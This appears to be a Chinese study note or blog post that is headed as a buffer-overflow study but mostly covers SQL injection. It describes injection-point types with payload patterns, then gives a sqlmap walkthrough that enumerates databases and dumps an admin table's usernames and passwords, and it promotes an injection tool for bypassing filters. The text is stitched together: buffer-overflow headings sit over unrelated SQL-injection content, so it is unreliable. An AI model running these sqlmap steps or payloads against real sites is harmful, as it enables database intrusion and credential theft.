標籤:無法自動 防範 現在 覆蓋 作業系統 sha bsp linu 利用
研究緩衝區溢位的原理,至少針對兩種資料庫進行差異化研究
緩衝區溢位原理
緩衝區溢位是指當電腦程式向緩衝區內填充的資料位元數超過了緩衝區本身的容量。溢出的資料覆蓋在合法資料上。理想情況是,程式檢查資料長度並且不允許輸入超過緩衝區長度的字串。但是絕大多數程式都會假設資料長度總是與所分配的儲存空間相匹配,這就為緩衝區溢位埋下隱患。
原理
- 數字型注入點
形如“http://****?ID=55”,這類注入的參數是“數字”,因此稱為“數字型注入點”。
此類注入點提交的SQL語句,其原形大致為:Select * from 表名 where 欄位=55
當我們提交注入參數為“http://****?ID=55 And[查詢條件]”時,向資料庫提交的完整 SQL 陳述式為:
Select * from 表名 where 欄位=55 And [查詢條件]
- 字元型注入點
形如“http://****?Class=日期”這類注入的參數是“字元”,因此稱為“字元型”注入點。
此類注入點提交的 SQL 陳述式,其原形大致為:
select * from 表名 where 欄位=‘日期‘
當我們提交注入參數為“http://****Class=日期 And[查詢條件]時,向資料庫提交的完整 SQL 陳述式為”:
select * from 表名 where 欄位=‘日期‘ and [查詢條件]
-
搜尋型注入點
這是一類特殊的注入類型。這類注入主要是指在進行資料搜尋時沒過濾搜尋參數,一般在連結地址中有“keyword=關鍵字”,有的不顯示的連結地址,而是直接通過搜尋方塊表單提交。
此類注入點提交的 SQL 陳述式,其原形大致為:
select * from 表名 where 欄位 like ‘%關鍵字%‘
當我們提交注入參數為“keyword=‘and[查詢條件] and ‘%‘=‘,則向資料庫提交的完事SQL語句為:
select * from 表名 where 欄位 like ‘%‘ and [查詢條件] and ‘%‘=‘%‘
研究緩衝區溢位的防範方法,至少針對兩種程式設計語言進行差異化研究根據緩衝區溢位攻擊的步驟,可將常用的緩衝區溢位攻擊檢測技術分為以下3 種類型:基於輸入字串的檢測方法,基於保護堆棧中的返回地址的檢測方法和基於監視系統調用的檢測方法
- sqlmap.py -u "http://www.XXX.com/index.asp?id=1"
判斷id參數是否存在注入:結果中包含 “id” is Vulnerable 欄位表示存在注入
存在注入,下面的步驟才可以執行成功~
- sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --dbs
列舉能列出的所有資料庫名
- sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --current-db
列出當前使用的資料庫名,假設列出“sqltest”資料庫
- sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --is-dba
判斷該注入點是否有管理員權限:返回true 表示是管理員
- sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" --tables
擷取sqltest中的所有表,假設有"admin"表
- sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" -T "admin" --columns
列舉表admin的欄位(列名),假設存在"username","password"欄位
- sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" -T "admin" -C "username,password" --dump
下載欄位username,password的值,若詢問是否破解md5加密,選擇no即可
至此,對一個簡單的注入點(GET方式),現在就已經得到了我們想要的資料
【*】注入demo之後會補上
- 超級sql注入
超級SQL注入工具(SSQLInjection)是一款基於HTTP協議自組包的SQL注入工具,支援出現在HTTP協議任意位置的SQL注入,支援各種類型的SQL注入,支援HTTPS模式注入。
超級SQL注入工具(SSQLInjection)是一款基於HTTP協議自組包的SQL注入工具。
超級SQL注入工具支援自動識別SQL注入,並自動設定,如程式無法自動識別,還可人工幹預識別注入,並標記注入位置。
超級SQL注入工具支援出現在HTTP協議任意位置的SQL注入,支援各種類型的SQL注入,支援HTTPS模式注入。
超級SQL注入工具支援Bool型盲注、錯誤顯示注入、Union注入等方式擷取資料。
超級SQL注入工具支援Access、MySQL5以上版本、SQLServer、Oracle等資料庫。
超級SQL注入工具支援手動靈活的進行SQL注入繞過,可自訂進行字元替換等繞過注入防護。
超級SQL注入工具支援批量掃描SQL注入漏洞,可匯入網域名稱爬行一次連結後掃描,採用相似性演算法,漏洞、誤判率低於1%。
SqL注入攻擊實踐